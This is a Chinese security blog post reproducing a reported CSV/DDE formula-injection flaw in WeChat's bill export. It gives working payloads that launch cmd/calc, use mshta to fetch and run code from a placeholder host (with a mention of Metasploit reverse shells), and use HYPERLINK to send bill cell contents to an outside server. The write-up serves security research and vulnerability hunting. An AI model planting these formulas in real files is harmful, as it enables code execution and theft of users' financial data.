如何复现网传微信csv注入漏洞?
2023-5-9 11:11:38 Author: www.secpulse.com(查看原文) 阅读量:90 收藏

如果你喜欢我的文章,欢迎关注公众号:安全女巫
转载请注明出处:https://mp.weixin.qq.com/s/gdmnUJN1l_nxmQUUXFLmtQ

前言

网传微信csv注入漏洞,该漏洞问题出在交易对方账号名称+商品+备注处字段。微信在导出账单时,将名称写入字段没有进行处理导致。攻击者使用= ,- ,+,等符号,开启DDE公式,即可触发命令执行。

该漏洞强加给微信实属这个锅背的有点冤,加上这种漏洞h1貌似二年前已经不收了。

漏洞具体位置

点击钱包--账单--常见问题--下载账单

漏洞简介 

CSV 注入(CSV Injection)漏洞通常出现在具有导出文件 (.csv/.xls) 功能的网站中。当导出的文件内容可控时,攻击者通常会将恶意负载(公式)注入到输入字段中。当用户导出并打开文件时,EXCEL 会调用其自身的动态功能以执行攻击者的恶意代码,从而控制用户的计算机。

DDE 是 Windows 操作系统下的进程间通信协议,通过一种动态数据交换机制实现。使用 DDE 通信需要两个 Windows 应用程序,其中一个作为服务器处理信息,另一个作为客户机从服务器获得信息。

DDE 支持 Microsoft Excel、LibreOffice 和 Apache OpenOffice 等软件,可以在 Excel、Word、Rtf、Outlook 等应用中使用该机制来根据外部应用的处理结果来更新内容。

因此,如果我们制作包含 DDE 公式的 CSV 文件,Excel 在打开该文件时就会尝试执行外部应用程序。

调用 DDE 需要在文件->选项->信任中心->信任中心设置->外部内容中开启:

漏洞的详细介绍可参考:  

https://owasp.org/www-community/attacks/CSV_Injection  

https://www.notsosecure.com/data-exfiltration-formula-injection/  

相关漏洞

Twitter

漏洞复现

点击钱包--账单--常见问题--下载账单

提前将别人名字,或者交易备注加入攻击代码。

image.png按上节内容开启DDE

image.png

下载结果


Payload

  =1+cmd|' /C calc'!A01
image.png
执行calc
image.png

尝试使用mshta.exe来执行位于"http://xx.xxx"的恶意代码。

在限制长度的地方使用短域名,长度是够的,哪怕是对方账户名字。

在域名里面加入自己的攻击载荷。

image.png

=mshta|'http:\xx.xx1'!A0

利用Metasploit能够生成payload,可使用下面的注入执行payload,从而达到反弹shell的目的。  

image.png

远程服务器接受到mshta请求

image.png

利用表达式窃取表格内容获取账单详情    

经过在CSV文件中注入超连接函数,当用户打开文件并点击连接时,能够把指定的单元格内容提交到指定网址(以下提交A2/A3单元格的内容)。  

打印出账单表格内容    

=HYPERLINK("http:\xx.xxi="&C27&C28,1)

 将会表格内容转账账号名字发送到dns服务器

image.png

漏洞挖掘思路

要点:

  • 确认系统是否有导出为 csv 或 xls 表格的功能,一般存在于信息统计、日志导出等功能处。

  • 确认导出的内容是否用户可控:可以在界面直接编辑/新增,或通过数据篡改、HPP、追踪数据源等方式控制输入。

  • 写入测试脚本=1+1,导出后查看表格内容是否解析。

  • 尝试绕过存在的过滤。

    总结

    本文复现了微信CSV Injection漏洞,并普及了一些关于csv注入相关利用方式。总而言之,csv injection 在钓鱼的场景中目前确实没有什么价值。

本文作者:公众号:安全女巫

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/200060.html


文章来源: https://www.secpulse.com/archives/200060.html
如有侵权请联系:admin#unsafe.sh